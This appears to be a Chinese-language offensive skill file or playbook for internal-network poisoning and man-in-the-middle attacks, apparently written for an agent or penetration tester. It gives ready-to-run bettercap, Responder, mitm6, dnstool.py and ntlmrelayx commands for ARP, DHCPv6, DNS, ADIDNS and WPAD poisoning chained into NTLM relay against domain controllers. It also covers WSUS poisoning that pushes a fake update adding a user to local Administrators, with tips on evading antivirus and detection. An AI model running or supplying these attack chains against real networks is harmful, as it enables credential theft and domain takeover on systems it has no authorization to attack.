| name | network-poisoning-attack |
| description | 内网渗透中的网络层投毒和协议欺骗攻击方法论。当需要通过网络投毒获取 NTLM 认证、实现中间人攻击时使用。覆盖 ARP 投毒、DHCP 投毒、DHCPv6/mitm6 欺骗、DNS 欺骗、ADIDNS 记录注入、WPAD 劫持、WSUS 投毒、ICMP 重定向、NBT Name Overwrite。通常作为 NTLM relay 攻击的前置步骤。 |
| metadata | {"tags":"arp poisoning,dhcp poisoning,dhcpv6,mitm6,dns spoofing,adidns,wpad,wsus,icmp redirect,nbt name overwrite,mitm,中间人,投毒,欺骗,bettercap,ettercap,dnstool,pywsus,responder,inveigh","category":"lateral"} |
网络层投毒与欺骗攻击
通过污染网络层协议(ARP、DHCP、DNS、WPAD 等)实现中间人定位或强制认证触发,是 NTLM relay 攻击最常用的前置步骤。
触发条件
- 内网需要通过网络投毒获取凭证或实现中间人
- 需要作为 NTLM relay 的前置步骤进行投毒
- 需要 ARP/DHCP/DHCPv6/DNS/WPAD/WSUS 投毒
前置要求
- 同网段物理接入(大部分技术要求同广播域)
- 域用户凭证(ADIDNS 注入需要)
- 工具: bettercap, Responder, mitm6, dnstool.py, Inveigh, pywsus, dnschef
技术选择决策树
网络位置与条件?
├── 同广播域
│ ├── 快速 MITM → ARP 投毒 (高检测风险)
│ ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│ ├── DHCP 环境 → DHCP 投毒
│ └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│ ├── ADIDNS 记录注入 (最稳定)
│ └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│ └── WSUS 投毒
└── DNS 已控制
└── DNS 欺骗
技术对比表
| 投毒方式 | 前置条件 | 检测风险 | 适用场景 |
|---|
| ARP 投毒 | 同广播域 | 高 (ARP 异常) | 快速 MITM,需即时效果 |
| DHCP 投毒 | 同广播域 | 中 | 持久 DNS/WPAD 注入 |
| DHCPv6/mitm6 | IPv6 未禁用 | 低 | 推荐,隐蔽获取 NTLM |
| DNS 欺骗 | 已控制 DNS 流量 | 低 | 精准域名劫持 |
| ADIDNS 注入 | 域凭证 | 极低 | 最稳定,域级 DNS 投毒 |
| WPAD 劫持 | 见各子方式 | 中 | 透明代理捕获认证 |
| WSUS 投毒 | HTTP WSUS | 中 | 代码执行 (非凭证) |
| ICMP 重定向 | 同网段 | 低 | 现代 OS 多忽略 |
1. ARP 投毒
原理
ARP 协议无认证机制,攻击者发送伪造 ARP 响应将自身 MAC 地址绑定到网关或目标 IP,实现流量劫持。分为双向(fullduplex)和单向投毒。
核心命令
bettercap -iface eth0
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
SMB 场景:any.proxy 重定向到攻击者 445
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy on
IP 伪装绕过(SNAT/DNAT)
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IP
Relay 衔接
ARP 投毒获得 MITM 位置后,使用 any.proxy 将 SMB/HTTP 流量重定向到 ntlmrelayx 监听端口。
2. DHCP 投毒
原理
通过 Responder 的 DHCP 模式响应客户端 DHCP 请求,注入恶意 DNS 服务器或 WPAD 配置。效果持续到客户端 DHCP 租约过期或重启。
核心命令
responder -I "eth0" -wPdD
responder -I "eth0" -wPd
Relay 衔接
ntlmrelayx.py -t $TARGET --http-port 3128
3. DHCPv6/mitm6(推荐)
原理
Windows 默认启用 IPv6 且优先使用 IPv6 DNS。mitm6 伪装 DHCPv6 服务器为目标分配 IPv6 DNS,将所有 DNS 查询指向攻击者。隐蔽性高,对 IPv4 网络无影响。
核心命令
mitm6 --interface eth0 --domain $DOMAIN
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME
bettercap 替代方案
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof on
Relay 衔接
mitm6 -d $DOMAIN
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
4. DNS 欺骗
原理
在已获得 MITM 位置(ARP 投毒等)后,拦截并篡改 DNS 响应,将目标域名解析到攻击者 IP。需要先有流量劫持能力。
核心命令
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP
responder -I "eth0"
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on
Relay 衔接
DNS 欺骗将目标对特定服务的访问重定向到攻击者,配合 ntlmrelayx 捕获认证请求。
5. ADIDNS 记录注入
原理
Active Directory 集成 DNS(ADIDNS)默认允许任何域用户创建新的 DNS 子对象。通过添加通配符记录(*),可将所有未明确定义的 DNS 查询解析到攻击者 IP。这是最稳定、检测风险最低的投毒方式。
核心命令
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
Powermad 替代
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP
Inveigh 自动化
# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入(降低误报)
Relay 衔接
通配符记录使所有不存在的主机名解析到攻击者,配合 Responder/ntlmrelayx 自动捕获认证。
6. WPAD 劫持
原理
WPAD(Web Proxy Auto-Discovery)解析链:DHCP Option 252 → DNS 查询 wpad.$DOMAIN → LLMNR/NBT-NS 广播。劫持任一环节即可让目标通过攻击者代理上网,触发 NTLM 认证。
旧系统(未打 MS16-077)
responder -I "eth0" -wP
新系统(GQBL bypass)
MS16-077 后 WPAD 不再通过广播解析,需要 ADIDNS 注入绕过:
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC
# PowerShell NS 记录(将 wpad 子域委派到攻击者)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询
DHCPv6 方式
mitm6 --domain $DOMAIN
Relay 衔接
WPAD 代理自动触发 HTTP NTLM 认证,直接转发到 ntlmrelayx。
7. WSUS 投毒
原理
如果 WSUS(Windows Server Update Services)使用 HTTP 而非 HTTPS,攻击者可在 MITM 位置下替换更新包,实现代码执行。注意这是代码执行而非凭证获取。
检查 WSUS 配置
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
核心命令
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
--executable /path/to/PsExec64.exe \
--command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'
bettercap 流量重定向
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on
补充说明
- CVE-2020-1013: WSUS 本地提权漏洞,可在本地利用
- 触发更新检查:
wuauclt /detectnow /updatenow 或 UsoClient StartScan
- 推荐使用 LOLBin(PsExec64.exe 等签名二进制)避免触发 AV
Relay 衔接
WSUS 投毒主要用于代码执行,不直接衔接 NTLM relay。
8. ICMP 重定向
原理
ICMP Redirect 消息通知主机更优路由路径,攻击者伪造 ICMP Redirect 将目标流量重定向到自身。但现代 OS(Windows 10+、Linux 默认)大多忽略 ICMP Redirect。
核心命令
python3 tools/Icmp-Redirect.py \
--interface eth0 \
--ip $ATTACKER_IP \
--gateway $GATEWAY \
--target $TARGET \
--route $DNS_SERVER
实用价值
有限。现代操作系统默认禁用或忽略 ICMP Redirect,仅在特定老旧环境中有效。
9. NBT Name Overwrite
原理
NetBIOS 名称覆盖攻击通过发送 NetBIOS Name Overwrite 包修改目标的名称表,将特定名称关联到攻击者 IP。
现状
实际工具支持有限,主要作为理论参考。在实战中优先使用 ADIDNS 或 DHCPv6 等更可靠的方式。
组合利用示例
mitm6 + ntlmrelayx(最常用)
mitm6 -d $DOMAIN
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
ADIDNS + Responder + relay
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
responder -I eth0
ntlmrelayx.py -t $TARGET -smb2support
深入参考